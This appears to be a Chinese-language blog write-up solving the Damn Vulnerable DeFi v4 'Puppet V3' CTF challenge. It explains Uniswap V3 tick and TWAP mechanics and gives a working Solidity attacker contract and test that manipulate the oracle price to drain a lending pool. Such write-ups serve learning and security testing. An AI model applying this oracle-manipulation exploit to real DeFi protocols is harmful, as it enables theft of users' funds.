Damn-vulnerable-defi-V4-solution(Puppet V3)

jerichou
2025-09-07 / 0 评论 / 2 阅读 / 正在检测是否收录...

一、Puppet V3

背景:

Uniswap V3 池初始拥有 100e18 WETH 和 DVT。作为玩家,我们拥有 25e18 ETH 和 110e18 DVT。我们的目标是拿走借贷池中所有 10_000e18 DVT 代币,这需要抵押品 WETH 价值的 3 倍。

Uniswap V3 对 AMM 使用的公式与经典不同x * y = k,因为它旨在使用相同数量的代币提供更集中的流动性。

在 Uniswap V2 中,xy永远不可能为零。

更具体地说,Uniswap V3 引入了集中流动性和新的定价公式。在增加流动性时,提供者还会指定一个价格范围。这使得系统能够通过将价格锚定在指定范围的边界上,而不是让其向零或无穷大延伸,从而在两种代币之间维持合理的价格——即使一种代币完全从池中移除。

攻击逻辑:

与 Puppet V2 类似,我们将所有 DVT 代币兑换成 WETH,以操纵价格预言机,使其认为 WETH 具有高价值。然后,我们使用少量 WETH 作为抵押,从借贷池中借入所有剩余的 DVT。

在 Uniswap V3 池中,slot0记录池的当前状态。tick其中的值slot0跟踪价格,并在每次交换完成后更新。

struct Slot0 {
        // the current price
        uint160 sqrtPriceX96;
        // the current tick
        int24 tick;
        // the most-recently updated index of the observations array
        uint16 observationIndex;
        // the current maximum number of observations that are being stored
        uint16 observationCardinality;
        // the next maximum number of observations to store, triggered in observations.write
        uint16 observationCardinalityNext;
        // the current protocol fee as a percentage of the swap fee taken on withdrawal
        // represented as an integer denominator (1/x)%
        uint8 feeProtocol;
        // whether the pool is locked
        bool unlocked;
    }

价格与tick之间的关系如下:
mf9k4m93.png

最小变动价位范围从MIN_TICK = -887272MAX_TICK = 887272,对应的价格范围从 1 / 2¹²⁸ 到 2¹²⁸ (此处,token1为 WETH,token0为 DVT)。因此,价格和最小变动价位值越小,WETH 相对于 DVT 的价值就越高。

查询lendingPoolUniswap V3 池中的价格。如果你追踪函数调用,它会从consult流向observeSingle
getQuoteAtTick 会将获取到的 tick 转换对应的 price
uint32 public constant TWAP_PERIOD = 10 minutes;

getQuoteAtTick 会将获取到的 tick 转换对应的 price

uint32 public constant TWAP_PERIOD = 10 minutes;

...

function _getOracleQuote(uint128 amount) private view returns (uint256) {
        (int24 arithmeticMeanTick,) = OracleLibrary.consult({pool: address(uniswapV3Pool), secondsAgo: TWAP_PERIOD});
        return OracleLibrary.getQuoteAtTick({
            tick: arithmeticMeanTick,
            baseAmount: amount,
            baseToken: address(token),
            quoteToken: address(weth)
        });
    }
function observeSingle(
        Observation[65535] storage self,
        uint32 time,
        uint32 secondsAgo,
        int24 tick,
        uint16 index,
        uint128 liquidity,
        uint16 cardinality
    ) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {
        unchecked {
            if (secondsAgo == 0) {
                Observation memory last = self[index];
                if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);
                return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);
            }

            ...
    }

最后,arithmeticMeanTick(TWAP)是预言机返回的tick。
mf9kn82o.png

tickCumulative是当前时间的(即secondsAgo = 0)只是最新观察中记录的当前累积刻度值。

last.tickCumulative + int56(tick) * int56(uint56(delta)),

由函数transform可知

function transform(
        Observation memory last,
        uint32 blockTimestamp,
        int24 tick,
        uint128 liquidity
    ) private pure returns (Observation memory) {
        unchecked {
            uint32 delta = blockTimestamp - last.blockTimestamp;
            return
                Observation({
                    blockTimestamp: blockTimestamp,
                    tickCumulative: last.tickCumulative + int56(tick) * int56(uint56(delta)),
                    secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +
                        ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),
                    initialized: true
                });
        }
    }

即使last.tickCumulative为 0,我们也可以操纵 tick 为 -887272(这对应于非常高的 ETH 价格)。
因此,只要时间增量blockTimestamp — last.blockTimestamp很大,我们最终就会得到非常小的tickCumulative

因此,我们的策略是先进行交换,投入所有 DVT 代币以提取所有 WETH。之后,我们会在挑战规定的 115 秒时间限制内尽可能长时间地等待(例如 100 秒)。

为了使当前时间的累计 tick 等于 -887272 × 100,我们将 600 秒前的累计 tick 设为 0,时间差为 600 秒。这样得到的 tick 值为 887272 / 6 = 147045。对应的价格为 1/1.0001¹⁴⁷⁰⁴⁵ =1 / 24309631,这个价格足够低,我们只需少量 WETH 即可兑换所有 DVT 代币。

总而言之,我们的解决方案是:

  1. 我们换出100e18DVT 代币。由于所有 WETH 都已换出,因此 tick 值移动到 -887272。因此,tick 值移动到了最小可能值的左端。
  2. 等待 100 秒,让价格预言机整合第一次掉期的价格信息。请注意,等待时间越长,预言机受掉期机制操纵价格的影响就越大。(不过,挑战设置了大约 115 秒的总时间限制。)
  3. swap函数要求调用者实现特定的回调函数。这就是为什么我们需要使用合约(Attacker.sol)来执行兑换,而不是使用玩家的账户。
function test_puppetV3() public checkSolvedByPlayer {
        IUniswapV3Pool uniswapPool = IUniswapV3Pool(uniswapFactory.getPool(address(token), address(weth), FEE));
        Attacker attacker = new Attacker(uniswapPool, token, lendingPool, weth, player);
        token.transfer(address(attacker), PLAYER_INITIAL_TOKEN_BALANCE);
        attacker.attack(-999e17);
        vm.warp(block.timestamp + 12);
        attacker.attack(-1e17);
        vm.warp(block.timestamp + 100);
        weth.approve(address(lendingPool), weth.balanceOf(player));
        lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
        token.transfer(recovery, LENDING_POOL_INITIAL_TOKEN_BALANCE);
    }
contract Attacker {
    IUniswapV3Pool uniswapPool;
    DamnValuableToken token;
    PuppetV3Pool lendingPool;
    WETH weth;
    address player;

    constructor(
        IUniswapV3Pool _uniswapPool,
        DamnValuableToken _token,
        PuppetV3Pool _lendingPool,
        WETH _weth,
        address _player
    ) {
        uniswapPool = _uniswapPool;
        token = _token;
        lendingPool = _lendingPool;
        weth = _weth;
        player = _player;
    }

    function attack(int256 amount) external {
        uniswapPool.swap(player, true, amount, TickMath.MIN_SQRT_RATIO + 1, "");
    }

    function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes memory) external {
        if (amount0 > 0) {
            token.transfer(address(uniswapPool), uint256(amount0));
        }

        if (amount1 > 0) {
            weth.transfer(address(uniswapPool), uint256(amount1));
        }
    }
}
1

评论 (0)

取消